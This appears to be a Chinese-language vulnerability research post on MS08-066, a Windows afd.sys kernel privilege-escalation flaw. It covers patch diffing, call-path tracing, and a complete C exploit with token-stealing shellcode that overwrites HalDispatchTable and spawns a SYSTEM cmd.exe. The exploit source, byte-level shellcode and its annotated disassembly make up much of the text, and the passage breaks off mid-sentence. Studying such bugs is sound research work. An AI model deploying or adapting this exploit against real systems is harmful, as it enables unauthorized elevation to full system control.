Skip to content

ms08-066 #93

@xinali

Description

@xinali
作者: xina1i
建立: 2025.10.29
更新: 2025.11.20

--------------------------------------------------------------------
目录:
    ☆ 前言 
    ☆ 准备环境
    ☆ 补丁分析
    ☆ 代码分析
        1) 伪码分析
        2) 源码分析
    ☆ exploit分析
        1) shellcode分析
        2) 覆盖HalDispatchTable控制执行流
        3) 优化shellcode代码
    ☆ 遇到的问题 
--------------------------------------------------------------------

☆ 前言 

分析该漏洞之前,想说一下分析这个漏洞的起因,主要是袁哥在weibo上发了一个帖子

https://weibo.com/6236276241/Q134jpdHH?pagetype=detail

他说的这个漏洞,我分析了很久都没有分析出来,原本想着参加袁哥的培训的,
但是感觉有点小贵(主要是穷),所以打算跟着袁哥的路径把afd涉及到的几个漏洞都分析一下
这个是系列的第一篇,接下来应该会有好几篇专门分析afd,希望能够通过分析这些漏洞
增长自己对于windows内核的认识,内核漏洞的认识、更加熟悉内核漏洞利用。

☆ 准备环境

影响操作系统

--------------------------------------------------------------------
Windows XP Service Pack 2 and Windows XP Service Pack 3 
Windows XP Professional x64 Edition and Windows XP Professional x64 Edition Service Pack 2 
Windows Server 2003 Service Pack 1 and Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition and Windows Server 2003 x64 Edition Service Pack 2
--------------------------------------------------------------------

根据影响的系统,配置测试环境:

--------------------------------------------------------------------
主机: windows 11
vmware虚拟机: windows server 2003 x64 english
--------------------------------------------------------------------

☆ 补丁分析

根据微软的ms08-066的描述: 

https://learn.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-066

其中更新KB956803能够解决该问题。
所以现在Windows Update Catalog网站搜索该更新信息,下载对应系统的更新程序,
因为当时windows还没有使用msu这种方式,会直接有一个exe程序,下载之后安装重启就可以完成更新

分析新老afd.sys,通过BinDiff分析发现,主要有两个函数发生了改变

--------------------------------------------------------------------
0.95    0.99    GI-J---	00015AF9    AfdBind(x,x)	
0.92    0.98    GI-----	000174C3    AfdGetRemoteAddress(x,x,x,x,x,x,x,x)
--------------------------------------------------------------------

分析发现AfdBind改变的有点多,优先分析AfdGetRemoteAddress

根据BinDiff的输出比较,可以发现有个赋值的地方被改变

原始没有漏洞的代码
--------------------------------------------------------------------
int __stdcall AfdGetRemoteAddress(
        int a1,
        int a2,
        char a3,
        int a4,
        int a5,
        volatile void *Address,
        SIZE_T Length,
        _DWORD *a8)
{
  int v8; // ebx
  SIZE_T v9; // eax
  int v11; // [esp+10h] [ebp-20h]
  int v12; // [esp+14h] [ebp-1Ch]

  v8 = *(_DWORD *)(a1 + 12);
  *a8 = 0;
  v11 = AfdLockEndpointContext(v8);
  if ( v11
    && *(_WORD *)v8 == 0xAFD2
    && *(_BYTE *)(v8 + 2) == 3
    && (v9 = *(unsigned __int16 *)(v8 + 90), 
        v9 + *(unsigned __int16 *)(v8 + 88) <= *(_DWORD *)(v8 + 116)) )
  {
    if ( Length < v9 )
    {
      v12 = 0x80000005;
    }
    else
    {
      Length = *(unsigned __int16 *)(v8 + 90);
      v12 = 0;
    }
    if ( a3 )
      ProbeForWrite(Address, Length, 1u);
    qmemcpy((void *)Address, 
            (const void *)(v11 + *(unsigned __int16 *)(v8 + 88)), 
            *(unsigned __int16 *)(v8 + 90));
    *a8 = *(_DWORD *)(v8 + 116);
  }
  else
  {
    v12 = -1073741504;
  }
--------------------------------------------------------------------

修复后的代码

--------------------------------------------------------------------
int __stdcall AfdGetRemoteAddress(
        int a1,
        int a2,
        char a3,
        int a4,
        int a5,
        volatile void *Address,
        unsigned int a7,
        _DWORD *a8)
{
  int v8; // ebx
  SIZE_T v9; // eax
  signed __int32 v11; // [esp+10h] [ebp-20h]
  int v12; // [esp+14h] [ebp-1Ch]

  v8 = *(_DWORD *)(a1 + 12);
  *a8 = 0;
  v11 = AfdLockEndpointContext(v8);
  if ( v11
    && *(_WORD *)v8 == 0xAFD2
    && *(_BYTE *)(v8 + 2) == 3
    && (v9 = *(unsigned __int16 *)(v8 + 90), 
             v9 + *(unsigned __int16 *)(v8 + 88) <= *(_DWORD *)(v8 + 116)) )
  {
    if ( a7 < v9 )
    {
      v12 = -2147483643;
    }
    else
    {
      v12 = 0;
      if ( a3 )
        ProbeForWrite(Address, v9, 1u);
      qmemcpy((void *)Address, 
              (const void *)(v11 + *(unsigned __int16 *)(v8 + 88)), 
              *(unsigned __int16 *)(v8 + 90));
      *a8 = *(_DWORD *)(v8 + 116);
    }
--------------------------------------------------------------------

经过对比可以发现,修复代码不再根据判断条件,修改ProbeForWrite的第二个参数的值

--------------------------------------------------------------------
if ( Length < v9 ) {
      v12 = 0x80000005;
    } else {
      Length = *(unsigned __int16 *)(v8 + 90); <--- 根据判断条件修改参数值
      v12 = 0;
    }

if ( a7 < v9 )
    {
      v12 = -2147483643;
    }
    else
    {
      v12 = 0;
      if ( a3 )
        ProbeForWrite(Address, v9, 1u); <--- 中间不再修改
--------------------------------------------------------------------

所以根据上面的代码分析,结合ida给出的AfdGetRemoteAddress的代码

函数代码

--------------------------------------------------------------------
int __stdcall AfdGetRemoteAddress(
        int a1,
        int a2,
        char a3,
        int a4,
        int a5,
        volatile void *Address,
        SIZE_T Length,
        _DWORD *a8)
{
  int v8; // ebx
  SIZE_T v9; // eax
  int v11; // [esp+10h] [ebp-20h]
  int v12; // [esp+14h] [ebp-1Ch]

  v8 = *(_DWORD *)(a1 + 12);
  *a8 = 0;
  v11 = AfdLockEndpointContext(v8);
  if ( v11
    && *(_WORD *)v8 == 0xAFD2
    && *(_BYTE *)(v8 + 2) == 3
    && (v9 = *(unsigned __int16 *)(v8 + 90), 
              v9 + *(unsigned __int16 *)(v8 + 88) <= *(_DWORD *)(v8 + 116)) )
  {
    if ( Length < v9 )
    {
      v12 = 0x80000005;
    } else { // 如果 Length > v9
      Length = *(unsigned __int16 *)(v8 + 90);
      v12 = 0;
    }
    if ( a3 )
      ProbeForWrite(Address, Length, 1u);
    qmemcpy((void *)Address, 
            (const void *)(v11 + *(unsigned __int16 *)(v8 + 88)), 
            *(unsigned __int16 *)(v8 + 90));
    *a8 = *(_DWORD *)(v8 + 116);
  }
  else
  {
    v12 = -1073741504;
  }
  AfdUnlockEndpointContext(v8, v11);
  return v12;
}
--------------------------------------------------------------------

分析其代码,考虑其中一种情况

Length < v9 成立,但是Length的值能够绕过ProbeForWrite(Address, Length, 1u),比如0
*(unsigned __int16 *)(v8 + 90)是一个用户控制的值,能够控制复制的内容范围

成功导致一个内存溢出的漏洞


☆ 代码分析

上面通过补丁分析,成功分析出存在一个内存溢出的漏洞。现在来分析具体调用AfdGetRemoteAccess
主要通过ida伪码和泄漏的windows源码分析

1) 伪码分析

来分析如何调用AfdGetRemoteAccess

其被_AfdImmediateCallDispatch调用

--------------------------------------------------------------------
.data:000142F0 _AfdImmediateCallDispatch dd 0          ; DATA XREF: AfdDispatchImmediateIrp(x,x)+12↑r
.data:000142F0                                         ; AfdFastIoDeviceControl(x,x,x,x,x,x,x,x,x)+3A0↓r
...
.data:00014328                 dd offset _AfdSetInformation@32 ; AfdSetInformation(x,x,x,x,x,x,x,x)
.data:0001432C                 dd offset _AfdGetRemoteAddress@32 ; AfdGetRemoteAddress(x,x,x,x,x,x,x,x)
.data:00014330                 dd offset _AfdGetContext@32 ; AfdGetContext(x,x,x,x,x,x,x,x)
.data:00014334                 dd offset _AfdSetContext@32 ; AfdSetContext(x,x,x,x,x,x,x,x)
.data:00014338                 dd offset _AfdSetConnectData@32 ; AfdSetConnectData(x,x,x,x,x,x,x,x)
.data:0001433C                 dd offset _AfdSetConnectData@32 ; AfdSetConnectData(x,x,x,x,x,x,x,x)
--------------------------------------------------------------------

其分别别两个函数调用

--------------------------------------------------------------------
AfdDispatchImmediateIrp
AfdFastIoDeviceControl
--------------------------------------------------------------------

其中AfdDispatchImmediateIrp被_AfdIrpCallDispatch调用

--------------------------------------------------------------------
.data:000141D8 _AfdIrpCallDispatch dd offset @AfdBind@8
.data:000141D8                 ; DATA XREF: AfdDispatchDeviceControl(x,x)+37↓r ; AfdBind(x,x)
.data:000141DC                 dd offset @AfdConnect@8 ; AfdConnect(x,x)
.data:000141E0                 dd offset @AfdDispatchImmediateIrp@8 ; AfdDispatchImmediateIrp(x,x)
.data:000141E4                 dd offset @AfdWaitForListen@8 ; AfdWaitForListen(x,x)
.data:000141E8                 dd offset @AfdAccept@8  ; AfdAccept(x,x)
.data:000141EC                 dd offset @AfdReceive@8 ; AfdReceive(x,x)
.data:000141F0                 dd offset @AfdReceiveDatagram@8 ; AfdReceiveDatagram(x,x)
.data:000141F4                 dd offset @AfdSend@8    ; AfdSend(x,x)
.data:000141F8                 dd offset @AfdSendDatagram@8 ; AfdSendDatagram(x,x)
.data:000141FC                 dd offset @AfdPoll@8    ; AfdPoll(x,x)
.data:00014200                 dd offset @AfdDispatchImmediateIrp@8 ; AfdDispatchImmediateIrp(x,x)
.data:00014204                 dd offset @AfdGetAddress@8 ; AfdGetAddress(x,x)
.data:00014208                 dd offset @AfdDispatchImmediateIrp@8 ; AfdDispatchImmediateIrp(x,x)
.data:0001420C                 dd offset @AfdDispatchImmediateIrp@8 ; AfdDispatchImmediateIrp(x,x)
.data:00014210                 dd offset @AfdDispatchImmediateIrp@8 ; AfdDispatchImmediateIrp(x,x)
.data:00014214                 dd offset @AfdDispatchImmediateIrp@8 ; AfdDispatchImmediateIrp(x,x)
.data:00014218                 dd offset @AfdDispatchImmediateIrp@8 ; AfdDispatchImmediateIrp(x,x)
.data:0001421C                 dd offset @AfdDispatchImmediateIrp@8 ; AfdDispatchImmediateIrp(x,x)
.data:00014220                 dd offset @AfdDispatchImmediateIrp@8 ; AfdDispatchImmediateIrp(x,x)
.data:00014224                 dd offset @AfdDispatchImmediateIrp@8 ; AfdDispatchImmediateIrp(x,x)
--------------------------------------------------------------------

其中_AfdIrpCallDispatch被AfdDispatchDeviceControl调用

路径是

--------------------------------------------------------------------
AfdDispatchDeviceControl
    AfdIrpCallDispatch
        AfdDispatchImmediateIrp
            AfdImmediateCallDispatch
                AfdGetRemoteAddress
--------------------------------------------------------------------

同样分析可以知道另一个调用路径

--------------------------------------------------------------------
AfdFastIoDeviceControl
    AfdImmediateCallDispatch
        AfdGetRemoteAddress
--------------------------------------------------------------------

继续跟踪分析,分析DriverEntry函数,分析其主要的事件处理函数

--------------------------------------------------------------------
memset32(DriverObject->MajorFunction, (int)AfdDispatch, 0x1Cu);
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)AfdDispatchDeviceControl;
DriverObject->MajorFunction[23] = (PDRIVER_DISPATCH)AfdEtwDispatch;
DriverObject->FastIoDispatch = (PFAST_IO_DISPATCH)&AfdFastIoDispatch;
--------------------------------------------------------------------

主要有三种:AfdDispatchDeviceControl、AfdEtwDispatch、AfdFastIoDispatch
AfdGetRemoteAddress使用了其中的两种

2) 源码分析

上面通过ida伪代码的方式分析了AfdGetRemoteAddress的调用路径,下面通过windows泄漏的源码
来分析具体的源码,从而知道如果我们想要调用该函数,应该怎么做

具体源码

--------------------------------------------------------------------
NTSTATUS
AfdGetRemoteAddress (
    IN  PFILE_OBJECT        FileObject,
    IN  ULONG               IoctlCode,
    IN  KPROCESSOR_MODE     RequestorMode,
    IN  PVOID               InputBuffer,
    IN  ULONG               InputBufferLength,
    IN  PVOID               OutputBuffer,
    IN  ULONG               OutputBufferLength,
    OUT PULONG_PTR          Information
    )
{
    PAFD_ENDPOINT endpoint;
    PVOID       context;
    NTSTATUS    status;

    UNREFERENCED_PARAMETER (IoctlCode);
    UNREFERENCED_PARAMETER (InputBuffer);
    UNREFERENCED_PARAMETER (InputBufferLength);
    PAGED_CODE( );

    //
    // Set up local pointers.
    //

    endpoint = FileObject->FsContext;
    ASSERT( IS_AFD_ENDPOINT_TYPE( endpoint ) );
    *Information = 0;

    context = AfdLockEndpointContext (endpoint);
    //
    // If there is no context or endpoint is of wrong type state or
    // context information has been changed below the original size,
    // return error.
    //

    if ( context == NULL ||
            endpoint->Type!=AfdBlockTypeVcConnecting ||
            endpoint->State!= AfdEndpointStateConnected ||
            ((CLONG)(endpoint->Common.VcConnecting.RemoteSocketAddressOffset+
                endpoint->Common.VcConnecting.RemoteSocketAddressLength)) >
                    endpoint->ContextLength
            ) {
        status = STATUS_INVALID_CONNECTION;
    } else {
        if (OutputBufferLength<endpoint->Common.VcConnecting.RemoteSocketAddressLength) {
            status = STATUS_BUFFER_OVERFLOW;
        } else {
            OutputBufferLength = endpoint->Common.VcConnecting.RemoteSocketAddressLength;
            status = STATUS_SUCCESS;
        }
        try {
            //
            // Validate the output structure if it comes from the user mode
            // application
            //
            if (RequestorMode != KernelMode ) {
                ProbeForWrite (OutputBuffer,
                                OutputBufferLength,
                                sizeof (UCHAR));
            }
            //
            // Copy parameters to application's memory
            //
            RtlCopyMemory(
                OutputBuffer,
                (PUCHAR)context+endpoint->Common.VcConnecting.RemoteSocketAddressOffset,
                endpoint->Common.VcConnecting.RemoteSocketAddressLength
                );

            *Information = endpoint->ContextLength;
        } except( AFD_EXCEPTION_FILTER (status) ) {
            ASSERT (NT_ERROR (status));
        }
    }
    AfdUnlockEndpointContext (endpoint, context);
    return status;
} // AfdGetRemoteAddress
--------------------------------------------------------------------


根据源码,首先需要如下条件成立

--------------------------------------------------------------------
if (OutputBufferLength<endpoint->Common.VcConnecting.RemoteSocketAddressLength) {
    status = STATUS_BUFFER_OVERFLOW;
}
--------------------------------------------------------------------

可以选择一个最简单的值:OutputBufferLength=0

其次执行

--------------------------------------------------------------------
RtlCopyMemory(
    OutputBuffer,
    (PUCHAR)context+endpoint->Common.VcConnecting.RemoteSocketAddressOffset,
    endpoint->Common.VcConnecting.RemoteSocketAddressLength
    );
--------------------------------------------------------------------

通过分析发现

context+endpoint->Common.VcConnecting.RemoteSocketAddressOffset:
    struct sockaddr_in在AcceptEx接收缓存的偏移位置
endpoint->Common.VcConnecting.RemoteSocketAddressLength:
    struct sockaddr_in的结构长度

分析一下struct sockaddr_in结构信息

--------------------------------------------------------------------
typedef struct sockaddr_in {
  short          sin_family; // 2 bytes
  u_short        sin_port;   // 2 bytes
  struct in_addr sin_addr;   // 4 bytes
  char           sin_zero[8];// 8 bytes
} SOCKADDR_IN, *PSOCKADDR_IN, *LPSOCKADDR_IN;

struct in_addr {
  union {
    struct {
      u_char s_b1;
      u_char s_b2;
      u_char s_b3;
      u_char s_b4;
    } S_un_b;
    struct {
      u_short s_w1;
      u_short s_w2;
    } S_un_w;
    u_long S_addr;
  } S_un;
};
--------------------------------------------------------------------

根据分析可知,具体shellcode的信息需要放在该结构中,具体如何构造在exploit分析中再叙述

☆ exploit分析

exploit代码如下

--------------------------------------------------------------------
#include "stdafx.h"

#include <stdio.h>
#include <Winsock2.h>
#include <ntsecapi.h>

#pragma comment(lib, "ws2_32.lib")

#define AFD_GET_REMOTE_ADDRESS 0x1203f

// 用到的几个数据结构
typedef enum _KPROFILE_SOURCE {
    ProfileTime,
    ProfileAlignmentFixup,
    ProfileTotalIssues,
    ProfilePipelineDry,
    ProfileLoadInstructions,
    ProfilePipelineFrozen,
    ProfileBranchInstructions,
    ProfileTotalNonissues,
    ProfileDcacheMisses,
    ProfileIcacheMisses,
    ProfileCacheMisses,
    ProfileBranchMispredictions,
    ProfileStoreInstructions,
    ProfileFpInstructions,
    ProfileIntegerInstructions,
    Profile2Issue,
    Profile3Issue,
    Profile4Issue,
    ProfileSpecialInstructions,
    ProfileTotalCycles,
    ProfileIcacheIssues,
    ProfileDcacheAccesses,
    ProfileMemoryBarrierCycles,
    ProfileLoadLinkedIssues,
    ProfileMaximum
} KPROFILE_SOURCE,
    *PKPROFILE_SOURCE;

typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemBasicInformation,
    SystemProcessorInformation,
    SystemPerformanceInformation,
    SystemTimeOfDayInformation,
    SystemNotImplemented1,
    SystemProcessesAndThreadsInformation,
    SystemCallCounts,
    SystemConfigurationInformation,
    SystemProcessorTimes,
    SystemGlobalFlag,
    SystemNotImplemented2,
    SystemModuleInformation,
    SystemLockInformation,
    SystemNotImplemented3,
    SystemNotImplemented4,
    SystemNotImplemented5,
    SystemHandleInformation,
    SystemObjectInformation,
    SystemPagefileInformation,
    SystemInstructioEmulationCounts,
    SystemInvalidInfoClass1,
    SystemCacheInformation,
    SystemPoolTagInformation,
    SystemProcessorStatistics,
    SystemDpcInformation,
    SystemNotImplemented6,
    SystemLoadImage,
    SystemUnloadImage,
    SystemTimeAdjustment,
    SystemNotImplemented7,
    SystemNotImplemented8,
    SystemNotImplemented9,
    SystemCrashDumpInformation,
    SystemExceptionInformation,
    SystemCrashDumpStateInformation,
    SystemKernelDebuggerInformation,
    SystemContextSwitchInformation,
    SystemRegisterQuotaInformation,
    SystemLoadAndCallImage,
    SystemPrioritySeparation
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG Reserved[2];
    PVOID Base;
    ULONG Size;
    ULONG Flags;
    USHORT Index;
    USHORT Unknown;
    USHORT LoadCount;
    USHORT ModuleNameOffset;
    CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef NTSTATUS(NTAPI *ZWQUERYINTERNALPROFILE)(ULONG, PULONG);
typedef NTSTATUS(NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS(NTAPI *ZWALLOCATEVIRTUALMEMORY)(HANDLE,
                                                 PVOID *,
                                                 ULONG,
                                                 PULONG,
                                                 ULONG,
                                                 ULONG);

ZWQUERYINTERNALPROFILE ZwQueryIntervalProfile;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
ZWALLOCATEVIRTUALMEMORY ZwAllocateVirtualMemory;


void ErrorQuit(char *pMsg) {
    printf("%sError Code:%d\n", pMsg, GetLastError());
    ExitProcess(0);
}


void GetFunction() {
    HMODULE hNtdll;

    hNtdll = LoadLibrary("ntdll.dll");
    if (hNtdll == NULL) {
        ErrorQuit("LoadLibrary() failed.\n");
    }

    ZwQueryIntervalProfile = (ZWQUERYINTERNALPROFILE)GetProcAddress(
        hNtdll,
        "NtQueryIntervalProfile");
    if (ZwQueryIntervalProfile == NULL) {
        ErrorQuit("GetProcAddress() failed.\n");
    }

    ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(
        hNtdll,
        "ZwQuerySystemInformation");
    if (ZwQuerySystemInformation == NULL) {
        ErrorQuit("GetProcessAddress() failed.\n");
    }

    ZwAllocateVirtualMemory = (ZWALLOCATEVIRTUALMEMORY)GetProcAddress(
        hNtdll,
        "ZwAllocateVirtualMemory");
    if (ZwAllocateVirtualMemory == NULL) {
        ErrorQuit("GetProcAddress() failed.\n");
    }
    FreeLibrary(hNtdll);
}


ULONG GetKernelBase(char *KernelName) {
    ULONG i, Byte, ModuleCount, KernelBase;
    PVOID pBuffer;
    PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
    PCHAR pName;

    ZwQuerySystemInformation(SystemModuleInformation, 
                             (PVOID)&Byte, 
                             0, 
                             &Byte);

    if ((pBuffer = malloc(Byte)) == NULL) {
        ErrorQuit("malloc failed.\n");
    }

    if (ZwQuerySystemInformation(SystemModuleInformation, 
                                 pBuffer, 
                                 Byte, 
                                 &Byte)) {
        ErrorQuit("ZwQuerySystemInformation failed\n");
    }

    ModuleCount = *(PULONG)pBuffer;
    pSystemModuleInformation =
        (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
    
    // 枚举系统载入的所有模块,判断模块是否为nt,
    // 如果是则返回其基址,从而获取到系统基址
    for (i = 0; i < ModuleCount; i++) {
        // 比较新的系统
        if ((pName = strstr(pSystemModuleInformation->ImageName,
                            "ntoskrnl.exe")) != NULL) {
            KernelBase = (ULONG)pSystemModuleInformation->Base;
            printf("Kernel is %s\n", pSystemModuleInformation->ImageName);
            free(pBuffer);
            strcpy(KernelName, "ntoskrnl.exe");

            return KernelBase;
        }
        // windows server 2003系统
        if ((pName = strstr(pSystemModuleInformation->ImageName,
                            "ntkrnlpa.exe")) != NULL) {
            KernelBase = (ULONG)pSystemModuleInformation->Base;
            printf("Kernel is %s(0x%p)\n",
                   pSystemModuleInformation->ImageName,
                   KernelBase);
            free(pBuffer);
            strcpy(KernelName, "ntkrnlpa.exe");

            return KernelBase;
        }
        pSystemModuleInformation++;
    }

    free(pBuffer);
    return 0;
}

int main() {

    WSADATA ws;
    char inBuff[0x40];
    ULONG junk, KernelBase, dwShellSize = 0x1000;
    ULONG_PTR HalDispatchTable;
    char KernelName[64];
    OSVERSIONINFO ovi;
    HMODULE hKernel;
    LPVOID addr = (LPVOID)0x01000000;
    SOCKET tcp_socket;
    struct sockaddr_in peer;
    KPROFILE_SOURCE ProfileSource;
    ULONG_PTR result;
    PROCESS_INFORMATION pi;
    STARTUPINFOA stStartup;

    WSAStartup(0x0202, &ws);

    printf("[+] Get function address...");
    GetFunction();
    printf("OK!\n");

    printf("[+] get kernel base...");
    KernelBase = GetKernelBase(KernelName);
    if (!KernelBase) { 
        ErrorQuit("failed!\n");
    }
    printf("OK!\n");

    // 判断OS版本
    ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    if (!GetVersionEx(&ovi)) {
        ErrorQuit("GetVersionEx() failed.\n");
    }

    if (ovi.dwMajorVersion != 5 && ovi.dwMinorVersion != 2) {
        ErrorQuit("Not Windows 2003.\n");
    }

    printf("[+] load kernel library: %s...", KernelName);
    hKernel = LoadLibrary(KernelName);
    if (!hKernel) {
        ErrorQuit("failed!\n");
    }
    printf("OK!\n");
    HalDispatchTable = (ULONG_PTR)GetProcAddress(hKernel, "HalDispatchTable");
    HalDispatchTable += KernelBase - (ULONG)hKernel;
    printf("[+] HalDispatchTable found    \t\t\t [ 0x%p ]\n", HalDispatchTable);

    // 分配内存
    printf("[+] allocate memory at [0x%p]...", addr);
    ZwAllocateVirtualMemory(INVALID_HANDLE_VALUE,
                            &addr,  // 分配到固定地址
                            0, 
                            &dwShellSize,
                            MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, 
                            PAGE_EXECUTE_READWRITE);
    if ((ULONG_PTR)addr != 0x01000000) {
        ErrorQuit("failed!\n");
    }
    printf("OK!\n");

    // 准备sc
    memset(addr, 0x90, dwShellSize);

    unsigned char shellcode[] = {
        0x90,                               // nop
        0x90,                               // nop
        0x90,                               // nop
        0x90,                               // nop
        0x90,                               // nop
        0x90,                               // nop
        0x90,                               // nop
        0x90,                               // nop
        0x60,                               // pusha
        0x9c,                               // pushf
        0xb8, 0x24, 0xf1, 0xdf, 0xff,       // mov    eax,0xffdff124
        0x8b, 0x00,                         // mov    eax,DWORD PTR [eax]
        0x8b, 0xb0, 0x18, 0x02, 0x00, 0x00, // mov    esi,DWORD PTR [eax+0x218]
        0x89, 0xf0,                         // mov    eax,esi
        // <search2k3sp1>:
        0x8b, 0x80, 0x98, 0x00, 0x00, 0x00, // mov    eax,DWORD PTR [eax+0x98]
        0x2d, 0x98, 0x00, 0x00, 0x00,       // sub    eax,0x98
        0x8b, 0x90, 0x94, 0x00, 0x00, 0x00, // mov    edx,DWORD PTR [eax+0x94]
        0x83, 0xfa, 0x04,                   // cmp    edx,0x4
        0x75, 0xea,                         // jne    17 <search2k3sp1>
        0x8b, 0x80, 0xd8, 0x00, 0x00, 0x00, // mov    eax,DWORD PTR [eax+0xd8]
        0x89, 0x86, 0xd8, 0x00, 0x00, 0x00, // mov    DWORD PTR [esi+0xd8],eax
        0x9d,                               // popf
        0x61,                               // popa
        0xc2, 0x10, 0x00                    // ret    0x10
    };

    // 将shellcode复制到0x1000100及其后位置
    memcpy((void*)((BYTE*)addr + 0x100),
           (void*)shellcode, 
           sizeof(shellcode));

    peer.sin_family = AF_INET;
    peer.sin_port = htons(445);
   
    // inet_addr("127.0.0.1");   
    peer.sin_addr.s_addr = 0x100007f;
    tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
    if (connect(tcp_socket, 
                (struct sockaddr *)&peer, 
                sizeof(struct sockaddr))) {
        ErrorQuit("connect failed.\n");
    }

    printf("[+] Overwriting HalDispatchTable with those bytes...\n");
    printf("shellcode addr: %p\n", shellcode);

    DeviceIoControl((HANDLE)tcp_socket,
                    AFD_GET_REMOTE_ADDRESS,
                    (LPVOID)inBuff,
                    sizeof(inBuff),
                    (LPVOID)HalDispatchTable,
                    0,
                    &junk,
                    NULL);
    printf("\n\n");

    printf("[+] Executing shellcode...");
    ProfileSource = ProfileTotalIssues;
    ZwQueryIntervalProfile(ProfileSource, &result);
    printf("OK!\n");

    printf("[+] Create a new process...");
    GetStartupInfo(&stStartup);
    CreateProcess(NULL,
                  "cmd.exe",
                  NULL,
                  NULL,
                  TRUE,
                  NULL,
                  NULL,
                  NULL,
                  &stStartup,
                  &pi);
    printf("OK!\n");

    return 0;
}
--------------------------------------------------------------------

在vs 2008编译上述代码时,可能会遇到字符集的问题,需要在项目属性中,
将项目的字符集设置为

Use Multi-Byte Character Set

这样就可以成功编译


1) shellcode分析

具体利用的shellcode代码如下

--------------------------------------------------------------------
pusha                               ; 保存所有通用寄存器 (eax, ecx, edx, ebx, esp, ebp, esi, edi)
pushf                               ; 保存标志寄存器 (EFLAGS)

; --- 定位当前进程的 EPROCESS 结构 ---
mov    eax, 0xffdff124              ; 将 KPCR (Kernel Processor Control Region) 的地址加载到 EAX。
                                    ; 在 x86 架构的 Windows 内核中,FS:[0x124] 指向 KTHREAD 结构。
mov    eax, dword ptr [eax]         ; 解引用,EAX 现在指向当前线程的 KTHREAD 结构。
mov    esi, dword ptr [eax + 0x218] ; 从 KTHREAD 结构偏移 0x218 处获取 ApcState.Process,
                                    ; 即当前进程的 EPROCESS 结构地址,并存入 ESI。
mov    eax, esi                     ; 将当前进程的 EPROCESS 地址复制到 EAX,作为遍历起点。

; --- 遍历进程列表,查找 System 进程 (PID=4) ---
search_loop:
mov    eax, dword ptr [eax + 0x98]  ; 获取 EPROCESS 结构中偏移 0x98 处的 ActiveProcessLinks.Flink,
                                    ; 即链表中下一个进程的 EPROCESS 地址。
sub    eax, 0x98                    ; 从获取的 Flink 地址减去 0x98,得到下一个进程 EPROCESS 结构的基地址。
                                    ; (因为 ActiveProcessLinks 成员在 EPROCESS 结构中的偏移是 0x98)
mov    edx, dword ptr [eax + 0x94]  ; 获取当前遍历到的进程的 UniqueProcessId (进程ID),存入 EDX。
cmp    edx, 0x4                     ; 比较进程 ID 是否为 4 (System 进程的 PID)。
jne    search_loop                  ; 如果不等于 4,则跳转回 search_loop 继续遍历下一个进程。

; --- 复制 System 进程的 Token 到当前进程 ---
; 此时 EAX 指向 System 进程的 EPROCESS 结构
mov    eax, dword ptr [eax + 0xd8]  ; 获取 System 进程的访问令牌 (Token),Token 在 EPROCESS 偏移 0xd8 处。
mov    dword ptr [esi + 0xd8], eax  ; 将获取到的 System 进程 Token 写入到当前进程的 EPROCESS 结构中
                                    ; (ESI 中保存着当前进程的 EPROCESS 地址)。

; --- 清理并返回 ---
popf                                ; 恢复标志寄存器
popa                                ; 恢复所有通用寄存器
ret    0x10                         ; 从内核模式返回,并清理 0x10 字节的堆栈。
                                    ; 这个值对应于 ZwQueryIntervalProfile 函数的参数大小。
--------------------------------------------------------------------


0xFFDFF124的含义: 这个地址是KPCR内部的一个字段的地址。根据Windows XP/2003的内核结构定义:
    KPCR的基地址是0xFFDFF000。
    在KPCR结构中,偏移+0x120处是一个指向_KPRCB(内核处理器控制块)结构的指针,名为PrcbData。
    在_KPRCB结构中,偏移+0x4处是一个指向当前在该处理器上执行线程的_KTHREAD结构的指针,名为CurrentThread。
    因此,地址0xFFDFF124 (0xFFDFF000 + 0x120 + 0x4) 正是_KPRCB.CurrentThread字段的内存地址。


通过windbg的调试来确定上面的内容

--------------------------------------------------------------------
0: kd> !PCR
KPCR for Processor 0 at ffdff000:
    Major 1 Minor 1
    NtTib.ExceptionList: 80899e64
        NtTib.StackBase: 00000000
       NtTib.StackLimit: 00000000
     NtTib.SubSystemTib: 80042000
          NtTib.Version: 00004058
      NtTib.UserPointer: 00000001
          NtTib.SelfTib: 00000000

                SelfPcr: ffdff000
                   Prcb: ffdff120
                   Irql: 0000001f
                    IRR: 00000000
                    IDR: ffffffff
          InterruptMode: 00000000
                    IDT: 8003f400
                    GDT: 8003f000
                    TSS: 80042000

          CurrentThread: 8089d8c0
             NextThread: 00000000
             IdleThread: 8089d8c0

              DpcQueue: 

0: kd> dt _KPCR
nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
   ...
   +0x0dc KernelReserved2  : [17] Uint4B
   +0x120 PrcbData         : _KPRCB

0: kd> dt _KPRCB
nt!_KPRCB
   +0x000 MinorVersion     : Uint2B
   +0x002 MajorVersion     : Uint2B
   +0x004 CurrentThread    : Ptr32 _KTHREAD
   +0x008 NextThread       : Ptr32 _KTHREAD
   +0x00c IdleThread       : Ptr32 _KTHREAD
   +0x010 Number           : Char
   +0x011 Reserved         : Char
   +0x012 BuildType        : Uint2B
   ...
--------------------------------------------------------------------

通过上面的分析可以确定0xFFDFF124为_KTHREAD

2) 覆盖HalDispatchTable控制执行流

HalDispatchTable(Hardware Abstraction Layer Dispatch Table)是Windows内核中的一个全局数据结构。
它本质上是一个函数指针数组,是内核与硬件抽象层(HAL)之间的主要接口。
内核通过调用此表中的函数来执行与具体硬件平台相关的操作,例如查询系统信息、管理中断控制器(APIC)等。

使用盖HalDispatchTable控制执行流原因:
    地址可知: 
        一旦通过信息泄露手段(如本代码中的ZwQuerySystemInformation)获得了内核基地址,
